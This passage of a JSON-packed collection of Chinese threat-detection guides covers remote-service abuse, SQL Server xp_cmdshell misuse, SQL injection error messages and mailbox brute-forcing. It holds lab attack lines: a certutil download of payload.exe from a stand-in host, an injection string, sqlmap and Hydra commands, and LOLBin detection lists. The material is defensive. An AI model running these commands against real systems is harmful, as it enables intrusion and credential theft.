    "content": "# T1133-外部远程服务\n\n## 描述\n\n攻击者可能利用面向外部的远程服务实现初始访问或在企业网络内建立持久化。远程服务包括但不限于虚拟专用网络（VPN）、Citrix、远程桌面协议（RDP）、Windows Remote Management（WinRM）以及安全壳协议（SSH）。这些服务允许用户从外部位置连接到内部企业网络资源，通常通过远程服务网关管理连接和凭据身份验证。\n\n攻击者通常需要有效账户凭据才能访问这些服务，凭据可能通过多种方式获取，例如凭据窃取（T1555）、暴力破解（T1110）、社会工程学（如鱼叉式网络钓鱼，T1566）或在攻陷企业网络后从用户处获取（引自：Volexity Virtual Private Keylogging）。利用远程服务，攻击者可获得冗余或持久的访问机制，绕过传统防御措施，增强隐蔽性。\n\n## 测试案例\n\n1. **VPN凭据滥用**  \n   攻击者使用窃取的VPN账户凭据从异常地理位置登录，尝试访问企业网络资源。\n\n2. **RDP暴力破解**  \n   攻击者对暴露的RDP服务（端口3389）进行暴力破解，尝试使用常见用户名和密码组合登录。\n\n3. **SSH异常登录**  \n   攻击者利用泄露的SSH密钥或凭据，从非预期IP地址登录Linux服务器。\n\n## 检测日志\n\n检测外部远程服务滥用需依赖以下日志来源：\n- **VPN日志**：记录VPN连接的成功和失败尝试，包括源IP、用户名和时间戳。\n- **RDP日志**：Windows安全日志（事件ID 4624/4625）记录RDP登录的成功和失败事件。\n- **SSH日志**：Linux系统中的`/var/log/auth.log`或`/var/log/secure`记录SSH登录尝试。\n- **防火墙/IDS/IPS日志**：记录与远程服务相关的网络连接尝试。\n- **身份验证日志**：企业身份验证系统（如Active Directory、RADIUS）记录用户认证活动。\n\n## 测试复现\n\n1. **环境准备**：\n   - 配置测试环境，包括VPN服务器、RDP服务（Windows主机）或SSH服务（Linux主机）。\n   - 启用日志记录（Windows事件日志、Linux auth日志、VPN服务器日志）。\n\n2. **模拟异常登录**：\n   - 从非预期IP地址尝试使用有效或无效凭据登录VPN、RDP或SSH服务。\n   - 示例PowerShell脚本（模拟RDP登录尝试）：\n     ```powershell\n     $credential = New-Object System.Management.Automation.PSCredential(\"testuser\", (ConvertTo-SecureString \"Password123\" -AsPlainText -Force))\n     try { Enter-PSSession -ComputerName <Target_IP> -Credential $credential } catch { Write-Output \"RDP login failed\" }\n     ```\n   - 示例SSH登录尝试（Linux）：\n     ```bash\n     ssh testuser@<Target_IP>\n     ```\n\n3. **验证日志**：\n   - 检查Windows安全日志（事件ID 4624/4625）、Linux auth日志或VPN日志，确认是否记录异常登录尝试及源IP。\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n外部远程服务滥用可能在以下日志中留下痕迹：\n- **Windows安全日志**：\n  - 事件ID 4624：成功登录，记录登录类型（如RDP的类型10）。\n  - 事件ID 4625：登录失败，记录源IP、用户名和失败原因。\n- **Linux SSH日志**：\n  - `/var/log/auth.log`或`/var/log/secure`：记录SSH登录成功或失败，包括源IP和用户名。\n- **VPN日志**：\n  - 记录连接尝试的源IP、用户名、时间戳和认证结果。\n- **网络日志**：\n  - 防火墙或IDS/IPS记录与远程服务端口（如3389、22、443）的异常连接。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析身份验证日志，检测异常的远程服务访问模式，如非正常工作时间的登录、来自异常地理位置的尝试或高频登录失败。以下是具体思路：\n\n1. **日志分析**：\n   - 收集VPN、RDP和SSH的身份验证日志，提取源IP、用户名、时间戳和登录结果。\n   - 识别异常模式，如非工作时间登录、异常地理位置或单一源IP的高频失败尝试。\n\n2. **Sigma规则**（检测RDP异常登录）：\n   ```yaml\n   title: 检测来自异常IP的RDP登录尝试\n   id: 9c3e7a2b-4f1d-4e8c-a9b3-6d5f7e0c8a1e\n   description: 检测来自非预期IP地址的RDP登录尝试，可能表明凭据滥用或暴力破解。\n   date: 2025/06/06\n   tags:\n     - attack.initial_access\n     - attack.persistence\n     - attack.t1133\n   logsource:\n     product: windows\n     service: security\n   detection:\n     selection:\n       EventID:\n         - 4624 # 成功登录\n         - 4625 # 登录失败\n       LogonType: 10 # RDP登录\n     filter_private_ip:\n       IpAddress|startswith:\n         - '10.'\n         - '192.168.'\n         - '172.16.'\n         - '172.17.'\n         - '172.18.'\n         - '172.19.'\n         - '172.20.'\n         - '172.21.'\n         - '172.22.'\n         - '172.23.'\n         - '172.24.'\n         - '172.25.'\n         - '172.26.'\n         - '172.27.'\n         - '172.28.'\n         - '172.29.'\n         - '172.30.'\n         - '172.31.'\n         - '127.'\n         - '169.254.'\n     condition: selection and not filter_private_ip\n   falsepositives:\n     - 合法远程员工从公网IP登录\n     - 第三方服务提供商的合法访问\n   level: medium\n   ```\n\n3. **SIEM规则**（检测VPN/SSH异常登录）：\n   - 在SIEM系统中设置告警，检测非工作时间或异常IP的登录尝试。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Security\" EventCode IN (4624, 4625) LogonType=10 NOT src_ip IN (\"10.*\", \"192.168.*\", \"172.16.*\", \"172.17.*\", \"172.18.*\", \"172.19.*\", \"172.20.*\", \"172.21.*\", \"172.22.*\", \"172.23.*\", \"172.24.*\", \"172.25.*\", \"172.26.*\", \"172.27.*\", \"172.28.*\", \"172.29.*\", \"172.30.*\", \"172.31.*\", \"127.*\", \"169.254.*\") | stats count by src_ip, Account_Name, _time\n     ```\n   - 示例Linux SSH日志查询：\n     ```bash\n     grep \"sshd.*Failed\" /var/log/auth.log | awk '{print $NF}' | sort | uniq -c\n     ```\n\n4. **威胁情报整合**：\n   - 检查登录尝试的源IP是否与已知恶意IP相关，结合威胁情报平台（如VirusTotal、ThreatConnect）。\n   - 分析登录时间和地理位置，识别与用户正常行为不符的模式。\n\n## 建议\n\n### 缓解措施\n\n由于外部远程服务的滥用通常涉及有效凭据，防御需从访问控制和凭据保护入手：\n\n1. **访问控制**  \n   - 限制远程服务（如RDP、VPN、SSH）的访问，仅允许白名单IP或地理位置。  \n   - 启用多因素认证（MFA），降低凭据被盗后的风险。  \n   - 示例：为RDP启用网络级身份验证（NLA），为SSH配置密钥认证。\n\n2. **防火墙配置**  \n   - 配置防火墙规则，限制远程服务端口（如RDP的3389、SSH的22）的公网访问。  \n   - 使用入侵防御系统（IPS）检测暴力破解或异常登录尝试。\n\n3. **凭据保护**  \n   - 实施强密码策略，强制复杂密码并定期更换。  \n   - 监控账户锁定事件（事件ID 4740），防止暴力破解。\n\n4. **用户教育**  \n   - 培训用户识别鱼叉式网络钓鱼或社会工程学攻击，避免泄露凭据。  \n   - 教授用户定期检查账户活动，报告异常登录。\n\n5. **服务加固**  \n   - 禁用不必要的远程服务，减少攻击面。  \n   - 配置VPN和SSH使用高强度加密算法，防止中间人攻击。\n\n### 检测\n\n检测工作应集中在异常的远程服务访问模式上，包括但不限于：  \n- **登录模式分析**：监控VPN、RDP和SSH的身份验证日志，检测非工作时间或异常地理位置的登录。  \n- **高频失败检测**：识别单一源IP的高频登录失败，可能是暴力破解或凭据填充的迹象。  \n- **行为分析**：通过EDR或SIEM工具，检测与远程服务登录相关的后续行为，如异常进程启动或凭据导出。  \n- **威胁情报整合**：利用威胁情报平台，关联登录尝试的源IP、用户名或行为是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1133  \n  <https://attack.mitre.org/techniques/T1133/>\n"
  },
  {
    "path": "Windows/03初始访问/T1190-SQL server滥用.md",
    "content": "# T1190-检测SQL Server滥用\n\n## 描述\n\n攻击者可能利用面向Internet的应用程序（如SQL Server数据库）的漏洞，通过软件、数据或命令引发意外或非预期行为，从而实现初始访问、权限提升或防御逃逸（T1190）。SQL Server作为常见的企业数据库服务，可能因配置错误、弱密码、未修补的漏洞或不安全的权限管理而成为攻击目标。攻击者可能通过SQL注入、凭据暴力破解或滥用SQL Server的合法功能（如执行系统命令）来实现恶意目的。\n\nSQL Server提供了多种工具（如`xp_cmdshell`、`sqlcmd`）和功能，用于自动化任务、导出数据或运行脚本。攻击者可能重新利用这些合法工具执行恶意命令，如下载恶意软件、创建后门或进行网络侦察。在云化基础架构中，SQL Server的漏洞利用可能导致底层实例受损，允许攻击者访问云API或利用弱身份和访问管理策略。OWASP Top 10和CWE Top 25提供了常见的数据库和Web漏洞参考。\n\n## 测试案例\n\n1. **通过xp_cmdshell执行系统命令**  \n   攻击者利用SQL Server的`xp_cmdshell`功能执行系统命令（如`whoami`或`netstat`），获取主机信息或建立持久化。\n\n2. **凭据窃取**  \n   攻击者通过SQL注入或弱凭据访问SQL Server，运行脚本导出用户凭据或数据库内容。\n\n3. **异常工具调用**  \n   攻击者利用SQL Server进程（如`sqlservr.exe`）启动可疑命令（如`certutil`下载恶意文件），进行恶意操作。\n\n## 检测日志\n\n**Windows安全日志和Sysmon日志**  \n检测SQL Server滥用依赖以下日志来源：\n- **Windows安全日志**：\n  - 事件ID 4688：记录进程创建，包含命令行参数。\n  - 事件ID 4624/4625：记录登录成功或失败，可能涉及SQL Server服务账户。\n- **Sysmon日志**：\n  - 事件ID 1：记录进程创建和命令行参数，适合检测SQL Server进程启动的可疑命令。\n  - 事件ID 11：记录文件创建，可能涉及恶意文件下载。\n- **SQL Server日志**：记录异常查询、错误消息或高危命令（如`xp_cmdshell`调用）。\n- **网络日志**：记录SQL Server端口（默认1433）的异常流量。\n\n## 测试复现\n\n1. **环境准备**：\n   - 部署SQL Server实例，启用`xp_cmdshell`（默认禁用）。\n   - 配置Sysmon和Windows安全日志，记录进程创建（事件ID 4688、Sysmon ID 1）。\n   - 示例SQL命令启用`xp_cmdshell`：\n     ```sql\n     EXEC sp_configure 'show advanced options', 1;\n     RECONFIGURE;\n     EXEC sp_configure 'xp_cmdshell', 1;\n     RECONFIGURE;\n     ```\n\n2. **模拟攻击**：\n   - 使用SQL Server账户执行系统命令。\n   - 示例SQL命令（通过`xp_cmdshell`运行`whoami`）：\n     ```sql\n     EXEC xp_cmdshell 'whoami';\n     ```\n   - 模拟攻击者调用可疑工具：\n     ```sql\n     EXEC xp_cmdshell 'certutil -urlfetch -f http://malicious.com/payload.exe';\n     ```\n\n3. **验证日志**：\n   - 检查Sysmon日志（事件ID 1）或Windows安全日志（事件ID 4688），确认`sqlservr.exe`等进程是否启动了可疑命令。\n   - 检查SQL Server日志，验证是否记录`xp_cmdshell`调用。\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。参考：<https://zhuanlan.zhihu.com/p/25254794>\n\n## 测试留痕\n\nSQL Server滥用可能在以下日志中留下痕迹：\n- **Sysmon日志**：\n  - 事件ID 1：记录`sqlservr.exe`、`sqlagent.exe`等进程启动可疑命令（如`certutil`、`whoami`）。\n  - 示例日志：\n    ```plaintext\n    Process Create:\n    Image: C:\\Program Files\\Microsoft SQL Server\\MSSQL15.MSSQLSERVER\\MSSQL\\Binn\\sqlservr.exe\n    CommandLine: certutil -urlfetch -f http://malicious.com/payload.exe\n    ```\n- **Windows安全日志**：\n  - 事件ID 4688：记录进程创建和命令行参数。\n- **SQL Server日志**：记录`xp_cmdshell`或其他高危命令的执行。\n- **网络日志**：记录异常的SQL Server端口（1433）流量或文件下载请求。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析Sysmon和Windows安全日志，检测SQL Server进程启动可疑命令的行为。以下是具体思路：\n\n1. **日志分析**：\n   - 收集Sysmon事件ID 1或Windows安全事件ID 4688，提取SQL Server相关进程（`sqlservr.exe`、`sqlagent.exe`、`sqlps.exe`、`launchpad.exe`）的命令行参数。\n   - 检测可疑命令（如`certutil`、`whoami`）或高危工具调用。\n\n2. **KQL规则（适用于Microsoft Defender或Azure Sentinel）**：\n   ```kql\n   DeviceProcessEvents\n   | where Timestamp >= ago(10d)\n   | where InitiatingProcessFileName in~ (\"sqlservr.exe\", \"sqlagent.exe\", \"sqlps.exe\", \"launchpad.exe\")\n   | summarize tostring(makeset(ProcessCommandLine)) by DeviceId, bin(Timestamp, 2m)\n   | where set_ProcessCommandLine has_any (\n       \"certutil\", \"netstat\", \"ping\", \"sysinfo\", \"systeminfo\", \"taskkill\", \"wget\", \"whoami\",\n       \"Invoke-WebRequest\", \"Copy-Item\", \"WebClient\", \"advpack.dll\", \"appvlp.exe\", \"atbroker.exe\",\n       \"bash.exe\", \"bginfo.exe\", \"bitsadmin.exe\", \"cdb.exe\", \"certutil.exe\", \"cl_invocation.ps1\",\n       \"cl_mutexverifiers.ps1\", \"cmstp.exe\", \"csi.exe\", \"diskshadow.exe\", \"dnscmd.exe\", \"dnx.exe\",\n       \"dxcap.exe\", \"esentutl.exe\", \"expand.exe\", \"extexport.exe\", \"extrac32.exe\", \"findstr.exe\",\n       \"forfiles.exe\", \"ftp.exe\", \"gpscript.exe\", \"hh.exe\", \"ie4uinit.exe\", \"ieadvpack.dll\",\n       \"ieaframe.dll\", \"ieexec.exe\", \"infdefaultinstall.exe\", \"installutil.exe\", \"makecab.exe\",\n       \"manage-bde.wsf\", \"mavinject.exe\", \"mftrace.exe\", \"microsoft.workflow.compiler.exe\",\n       \"mmc.exe\", \"msbuild.exe\", \"msconfig.exe\", \"msdeploy.exe\", \"msdt.exe\", \"mshta.exe\",\n       \"mshtml.dll\", \"msiexec.exe\", \"msxsl.exe\", \"odbcconf.exe\", \"pcalua.exe\", \"pcwrun.exe\",\n       \"pcwutl.dll\", \"pester.bat\", \"presentationhost.exe\", \"pubprn.vbs\", \"rcsi.exe\", \"regasm.exe\",\n       \"register-cimprovider.exe\", \"regsvcs.exe\", \"regsvr32.exe\", \"replace.exe\", \"rundll32.exe\",\n       \"runonce.exe\", \"runscripthelper.exe\", \"schtasks.exe\", \"scriptrunner.exe\", \"setupapi.dll\",\n       \"shdocvw.dll\", \"shell32.dll\", \"slmgr.vbs\", \"sqltoolsps.exe\", \"syncappvpublishingserver.exe\",\n       \"syncappvpublishingserver.vbs\", \"syssetup.dll\", \"te.exe\", \"tracker.exe\", \"url.dll\",\n       \"verclsid.exe\", \"vsjitdebugger.exe\", \"wab.exe\", \"winrm.vbs\", \"wmic.exe\", \"xwizard.exe\",\n       \"zipfldr.dll\"\n   )\n   | sort by DeviceId, Timestamp asc\n   ```\n\n3. **Sigma规则**：\n   ```yaml\n   title: 检测SQL Server滥用可疑命令\n   id: 7b8c9d0e-4f2a-4b1c-a9d3-2e1f3c4d5e6f\n   status: experimental\n   description: 检测SQL Server进程启动可疑命令，可能表明攻击者滥用合法工具\n   date: 2025/06/06\n   logsource:\n     category: process_creation\n     product: windows\n   detection:\n     selection:\n       Image|endswith:\n         - '\\sqlservr.exe'\n         - '\\sqlagent.exe'\n         - '\\sqlps.exe'\n         - '\\launchpad.exe'\n       CommandLine:\n         - '*certutil*'\n         - '*netstat*'\n         - '*ping*'\n         - '*sysinfo*'\n         - '*systeminfo*'\n         - '*taskkill*'\n         - '*wget*'\n         - '*whoami*'\n         - '*Invoke-WebRequest*'\n         - '*Copy-Item*'\n         - '*WebClient*'\n         - '*advpack.dll*'\n         - '*appvlp.exe*'\n         - '*atbroker.exe*'\n         - '*bash.exe*'\n         - '*bginfo.exe*'\n         - '*bitsadmin.exe*'\n         - '*cdb.exe*'\n         - '*certutil.exe*'\n         - '*cl_invocation.ps1*'\n         - '*cl_mutexverifiers.ps1*'\n         - '*cmstp.exe*'\n         - '*csi.exe*'\n         - '*diskshadow.exe*'\n         - '*dnscmd.exe*'\n         - '*dnx.exe*'\n         - '*dxcap.exe*'\n         - '*esentutl.exe*'\n         - '*expand.exe*'\n         - '*extexport.exe*'\n         - '*extrac32.exe*'\n         - '*findstr.exe*'\n         - '*forfiles.exe*'\n         - '*ftp.exe*'\n         - '*gpscript.exe*'\n         - '*hh.exe*'\n         - '*ie4uinit.exe*'\n         - '*ieadvpack.dll*'\n         - '*ieaframe.dll*'\n         - '*ieexec.exe*'\n         - '*infdefaultinstall.exe*'\n         - '*installutil.exe*'\n         - '*makecab.exe*'\n         - '*manage-bde.wsf*'\n         - '*mavinject.exe*'\n         - '*mftrace.exe*'\n         - '*microsoft.workflow.compiler.exe*'\n         - '*mmc.exe*'\n         - '*msbuild.exe*'\n         - '*msconfig.exe*'\n         - '*msdeploy.exe*'\n         - '*msdt.exe*'\n         - '*mshta.exe*'\n         - '*mshtml.dll*'\n         - '*msiexec.exe*'\n         - '*msxsl.exe*'\n         - '*odbcconf.exe*'\n         - '*pcalua.exe*'\n         - '*pcwrun.exe*'\n         - '*pcwutl.dll*'\n         - '*pester.bat*'\n         - '*presentationhost.exe*'\n         - '*pubprn.vbs*'\n         - '*rcsi.exe*'\n         - '*regasm.exe*'\n         - '*register-cimprovider.exe*'\n         - '*regsvcs.exe*'\n         - '*regsvr32.exe*'\n         - '*replace.exe*'\n         - '*rundll32.exe*'\n         - '*runonce.exe*'\n         - '*runscripthelper.exe*'\n         - '*schtasks.exe*'\n         - '*scriptrunner.exe*'\n         - '*setupapi.dll*'\n         - '*shdocvw.dll*'\n         - '*shell32.dll*'\n         - '*slmgr.vbs*'\n         - '*sqltoolsps.exe*'\n         - '*syncappvpublishingserver.exe*'\n         - '*syncappvpublishingserver.vbs*'\n         - '*syssetup.dll*'\n         - '*te.exe*'\n         - '*tracker.exe*'\n         - '*url.dll*'\n         - '*verclsid.exe*'\n         - '*vsjitdebugger.exe*'\n         - '*wab.exe*'\n         - '*winrm.vbs*'\n         - '*wmic.exe*'\n         - '*xwizard.exe*'\n         - '*zipfldr.dll*'\n     condition: selection\n   falsepositives:\n     - 合法的SQL Server管理脚本或自动化任务\n     - 开发或测试环境中的正常行为\n   level: high\n   ```\n\n4. **SIEM规则**：\n   - 检测SQL Server进程启动可疑命令。\n   - 示例Splunk查询：\n     ```spl\n     source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image IN (\"*\\\\sqlservr.exe\", \"*\\\\sqlagent.exe\", \"*\\\\sqlps.exe\", \"*\\\\launchpad.exe\") (CommandLine=\"*certutil*\" OR CommandLine=\"*netstat*\" OR CommandLine=\"*whoami*\" OR CommandLine=\"*wget*\") | stats count by Image, CommandLine, ComputerName\n     ```\n\n5. **威胁情报整合**：\n   - 检查可疑命令的网络目标（如`certutil`下载的URL）是否与已知恶意IP或域名相关，结合威胁情报平台（如VirusTotal、AlienVault）。\n\n## 建议\n\n### 缓解措施\n\n防御SQL Server滥用需从配置加固、权限控制和监控入手：\n\n1. **禁用高危功能**  \n   - 禁用`xp_cmdshell`和`OLE Automation`等高危功能，除非必要。  \n   - 示例SQL命令：\n     ```sql\n     EXEC sp_configure 'xp_cmdshell', 0;\n     RECONFIGURE;\n     ```\n\n2. **最小权限原则**  \n   - 配置SQL Server账户使用最低权限，限制对系统命令或敏感数据的访问。  \n   - 确保服务账户无管理员权限。\n\n3. **网络访问控制**  \n   - 限制SQL Server端口（默认1433）的公网访问，仅允许白名单IP。  \n   - 配置防火墙或WAF阻止异常SQL流量。\n\n4. **定期漏洞扫描**  \n   - 使用工具（如Nessus、SQLMap）定期扫描SQL Server漏洞。  \n   - 及时更新SQL Server补丁，修复已知漏洞。\n\n5. **日志和监控**  \n   - 启用详细的SQL Server日志，记录高危命令（如`xp_cmdshell`）的执行。  \n   - 配置Sysmon监控SQL Server进程行为。\n\n### 检测\n\n检测工作应集中在SQL Server进程的异常行为上，包括但不限于：  \n- **进程行为监控**：分析Sysmon或Windows安全日志，检测SQL Server进程启动可疑命令（如`certutil`、`whoami`）。  \n- **SQL查询监控**：检查SQL Server日志，识别高危命令或异常查询模式。  \n- **网络流量分析**：监控SQL Server端口（1433）的异常流量或可疑文件下载。  \n- **威胁情报整合**：结合威胁情报，检查可疑命令的目标URL或IP是否与已知恶意活动相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1190  \n  <https://attack.mitre.org/techniques/T1190/>  \n- 如何通过SQL Server执行系统命令  \n  <https://zhuanlan.zhihu.com/p/25254794>  \n"
  },
  {
    "path": "Windows/03初始访问/T1190-可疑的SQL错误消息.md",
    "content": "# T1190-可疑的SQL错误消息\n\n## 描述\n\n攻击者可能利用面向公众的应用程序（如Web应用程序或数据库）的漏洞，通过软件、数据或命令引发意外或非预期行为，从而实现初始访问、权限提升或防御逃逸。面向公众的应用程序包括网站、数据库（如SQL）、标准服务（如SMB、SSH）以及任何通过Internet开放端口的服务（如Web服务器）。常见的漏洞包括SQL注入、跨站脚本（XSS）、文件包含或配置错误，这些漏洞可能源于代码缺陷、设计漏洞或弱身份和访问管理策略。\n\n在云化基础架构上，成功利用托管应用程序可能破坏底层实例，允许攻击者通过调用云API或利用弱访问控制进一步攻击。SQL注入是常见的攻击方式，攻击者通过提交恶意输入（如单引号或SQL关键字）触发数据库错误消息，暴露系统信息或确认漏洞存在。OWASP Top 10和CWE Top 25列出了Web和数据库中最常见的漏洞，为检测和防御提供参考。\n\n可疑的SQL错误消息可能表明攻击者正在探测SQL注入漏洞，这是一种常见的初始访问技术（T1190）。\n\n## 测试案例\n\n1. **SQL注入探测**  \n   攻击者向Web应用程序的输入字段（如登录表单或搜索框）提交恶意SQL语句（如`1' OR '1'='1`），触发数据库错误消息，暴露数据库类型或结构。\n\n2. **自动化扫描**  \n   攻击者使用工具（如SQLMap）扫描Web应用程序，尝试多种SQL注入模式，导致数据库返回特定错误消息（如“unclosed quotation mark”）。\n\n## 检测日志\n\n**数据库错误日志**  \n检测SQL注入相关错误依赖以下日志来源：\n- **Web服务器日志**：记录用户提交的HTTP请求，可能包含恶意SQL输入。\n- **数据库日志**：\n  - Oracle：记录SQL语法错误或异常查询。\n  - MySQL：记录语法错误或无效查询。\n  - SQL Server：记录未闭合引号或语法错误。\n  - SQLite：记录语法错误或UNION查询列数不匹配。\n- **应用程序日志**：Web应用程序可能记录异常输入或数据库错误。\n\n## 测试复现\n\n1. **环境准备**：\n   - 部署一个运行Web应用程序的测试环境，连接到数据库（如MySQL、SQL Server）。\n   - 启用数据库错误日志和Web服务器日志（如Apache、Nginx）。\n\n2. **模拟SQL注入**：\n   - 向Web应用程序的输入字段提交恶意SQL语句，触发数据库错误。\n   - 示例HTTP请求（模拟SQL注入）：\n     ```http\n     GET /search?query=1'%20OR%20'1'='1 HTTP/1.1\n     Host: example.com\n     ```\n   - 使用工具（如SQLMap）扫描测试应用程序：\n     ```bash\n     sqlmap -u \"http://example.com/search?query=1\" --batch\n     ```\n\n3. **验证日志**：\n   - 检查数据库日志，确认是否记录SQL错误消息（如“You have an error in your SQL syntax”）。\n   - 检查Web服务器日志，验证是否记录异常请求。\n\n**注意**：此复现仅用于学习和测试目的，需在合法授权的测试环境中进行，切勿用于非法活动。\n\n## 测试留痕\n\n可疑的SQL错误消息可能在以下日志中留下痕迹：\n- **Oracle**：\n  ```plaintext\n  quoted string not properly terminated\n  ORA-01756: quoted string not properly terminated\n  ```\n- **MySQL**：\n  ```plaintext\n  You have an error in your SQL syntax\n  ```\n- **SQL Server**：\n  ```plaintext\n  Unclosed quotation mark after the character string\n  ```\n- **SQLite**：\n  ```plaintext\n  near \"*\": syntax error\n  SELECTs to the left and right of UNION do not have the same number of result columns\n  ```\n- **Web服务器日志**：记录包含恶意SQL输入的HTTP请求，如`query=1' OR '1'='1`。\n\n## 检测规则/思路\n\n**检测规则**  \n通过分析数据库和应用程序日志，检测指示SQL注入探测的错误消息。以下是具体思路：\n\n1. **日志分析**：\n   - 收集数据库错误日志和Web服务器日志，提取SQL相关错误消息。\n   - 检测常见SQL注入模式（如单引号、UNION、OR关键字）或异常HTTP请求。\n\n2. **Sigma规则**：\n   ```yaml\n   title: 可疑的SQL错误消息\n   id: 3d4e8a9f-7c2b-4a8d-b9e6-1f2a3c4d5e6f\n   status: experimental\n   description: 检测指示SQL注入探测的数据库错误消息\n   author: Bjoern Kimminich\n   date: 2020/08/06\n   references:\n     - http://www.sqlinjection.net/errors\n   logsource:\n     category: application\n     product: sql\n   detection:\n     keywords:\n       # Oracle\n       - quoted string not properly terminated\n       - ORA-01756\n       # MySQL\n       - You have an error in your SQL syntax\n       # SQL Server\n       - Unclosed quotation mark\n       # SQLite\n       - 'near \"*\": syntax error'\n       - SELECTs to the left and right of UNION do not have the same number of result columns\n     condition: keywords\n   falsepositives:\n     - 应用程序代码错误导致的合法SQL错误\n     - 用户输入格式错误\n   level: high\n   ```\n\n3. **SIEM规则**：\n   - 在SIEM系统中设置告警，检测数据库日志中的SQL错误消息。\n   - 示例Splunk查询：\n     ```spl\n     source=\"database:log\" (\"quoted string not properly terminated\" OR \"error in your SQL syntax\" OR \"Unclosed quotation mark\" OR \"near \\\"*\\\": syntax error\" OR \"SELECTs to the left and right of UNION\") | stats count by host, sourcetype\n     ```\n\n4. **Web请求分析**：\n   - 检测HTTP请求中的SQL注入模式（如单引号、UNION、OR）。\n   - 示例WAF规则（伪代码）：\n     ```plaintext\n     if (request.uri contains \"'\" or \"UNION\" or \"OR 1=1\") then\n       log \"Potential SQL Injection\"\n       block\n     ```\n\n5. **威胁情报整合**：\n   - 检查触发错误消息的源放下标头源IP是否与已知恶意IP相关，结合威胁情报平台（如VirusTotal）。\n\n## 建议\n\n### 缓解措施\n\n由于SQL注入探测发生在目标组织的外部基础设施上，难以直接预防。以下是一些建议：\n\n1. **输入验证和参数化查询**  \n   - 对用户输入进行严格验证和过滤，防止恶意SQL语句注入。  \n   - 使用参数化查询或预编译语句，避免直接拼接用户输入到SQL查询中。\n\n2. **Web应用程序防火墙（WAF）**  \n   - 部署WAF，检测并阻止常见的SQL注入模式。  \n   - 示例工具：ModSecurity、Cloudflare WAF。\n\n3. **最小权限原则**  \n   - 配置数据库账户使用最低权限，限制对敏感数据的访问。  \n   - 确保Web应用程序的数据库用户无法执行高危操作（如DROP TABLE）。\n\n4. **错误消息隐藏**  \n   - 配置应用程序避免向用户返回详细的SQL错误消息，防止攻击者获取数据库信息。  \n   - 示例：将数据库错误重定向到通用错误页面。\n\n5. **定期漏洞扫描**  \n   - 使用漏洞扫描工具（如Burp Suite、Nessus）定期检查Web应用程序是否存在SQL注入漏洞。\n\n### 检测\n\n检测工作应集中在SQL错误消息和相关行为上，包括但不限于：  \n- **SQL错误消息监控**：分析数据库日志，检测常见的SQL注入错误消息。  \n- **异常请求检测**：监控Web服务器日志，识别包含SQL注入特征的HTTP请求（如单引号、UNION）。  \n- **行为分析**：通过EDR或WAF，检测异常数据库查询或高频错误消息。  \n- **威胁情报整合**：结合威胁情报，检查触发错误消息的源IP是否与已知攻击者相关。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1190  \n  <https://attack.mitre.org/techniques/T1190/>  \n- Oracle错误信息  \n  <https://blog.csdn.net/rshp_520/article/details/44620463>  \n- MySQL错误信息  \n  <https://blog.csdn.net/attack_5/article/details/83548346>  \n- SQL Server错误信息  \n  <https://blog.csdn.net/dadaowuque/article/details/81016127>  \n- SQLite错误信息  \n  <https://blog.csdn.net/www121104115/article/details/75051685> "
  },
  {
    "path": "Windows/03初始访问/T1190-邮箱暴力破解攻击流量分析.md",
    "content": "# T1190-邮箱暴力破解攻击流量分析\n\n## 描述\n\n攻击者可能利用面向公众的应用程序（如Web邮件服务、数据库或标准服务）的漏洞，通过软件、数据或命令引发意外或非预期行为，从而实现初始访问（T1190）。邮箱服务（如基于POP3、SMTP、IMAP或HTTP/HTTPS的Web邮件）是常见的攻击目标，攻击者可能通过暴力破解或凭据填充尝试获取有效账户。系统的弱点可能包括弱密码、配置错误或未修补的漏洞。成功利用可能导致账户泄露、数据窃取或进一步的网络访问。\n\n在云化基础架构中，邮箱服务的利用可能破坏底层实例，允许攻击者通过云API或弱身份和访问管理策略进一步攻击。暴力破解邮箱账户通常表现为短时间内高频的认证失败流量，可能触发协议特定的错误消息或异常网络行为。OWASP Top 10和CWE Top 25提供了常见的Web和邮箱服务漏洞参考。\n\n## 测试案例\n\n1. **POP3暴力破解**  \n   攻击者对POP3邮箱服务发起多次登录尝试，使用不同密码组合，导致服务器返回大量“-ERR Logon failure”错误。\n\n2. **SMTP凭据填充**  \n   攻击者使用泄露的凭据列表尝试登录SMTP服务，触发“535 5.7.3 Authentication unsuccessful”错误。\n\n3. **IMAP高频登录失败**  \n   攻击者针对IMAP服务尝试多个用户名和密码组合，生成“NO Logon failure”错误日志。\n\n4. **Web邮件暴力破解**  \n   攻击者通过HTTP/HTTPS登录页面（如Outlook Web Access）提交大量登录请求，短时间内无302跳转或后续操作流量。\n\n## 检测日志\n\n**全流量捕获**  \n检测邮箱暴力破解依赖以下日志来源：\n- **网络流量日志**：捕获POP3（端口110）、SMTP（端口25/587）、IMAP（端口143）或HTTP/HTTPS（端口80/443）的流量。\n- **服务器日志**：\n  - POP3/IMAP：记录认证失败（如`/var/log/mail.log`或Windows事件日志）。\n  - SMTP：记录认证错误（如Exchange服务器日志）。\n  - Web邮件：Web服务器日志（如Apache/Nginx）记录登录请求。\n- **应用程序日志**：邮箱服务日志记录异常认证尝试。\n\n## 测试复现\n\n1. **环境准备**：\n   - 部署测试邮箱服务器（如Postfix、Microsoft Exchange）或Web邮件服务（如OWA）。\n   - 启用流量捕获工具（如Wireshark、tcpdump）和服务器日志记录。\n\n2. **模拟暴力破解**：\n   - 使用工具（如Hydra、Burp Suite）对POP3、SMTP、IMAP或Web邮件服务发起高频登录尝试。\n   - 示例Hydra命令（针对POP3）：\n     ```bash\n     hydra -l user1 -P passwords.txt pop3://<target_ip> -t 4\n     ```\n   - 示例HTTP登录请求（模拟Web邮件暴力破解）：\n     ```http\n     POST /login.html HTTP/1.1\n     Host: example.com\n     Content-Type: application/x-www-form-urlencoded\n     uname=admin&upass=wrongpass\n     ```\n\n3. **验证日志**：\n   - 检查网络流量，确认高频认证请求和错误响应（如“-ERR Logon failure”）。\n   - 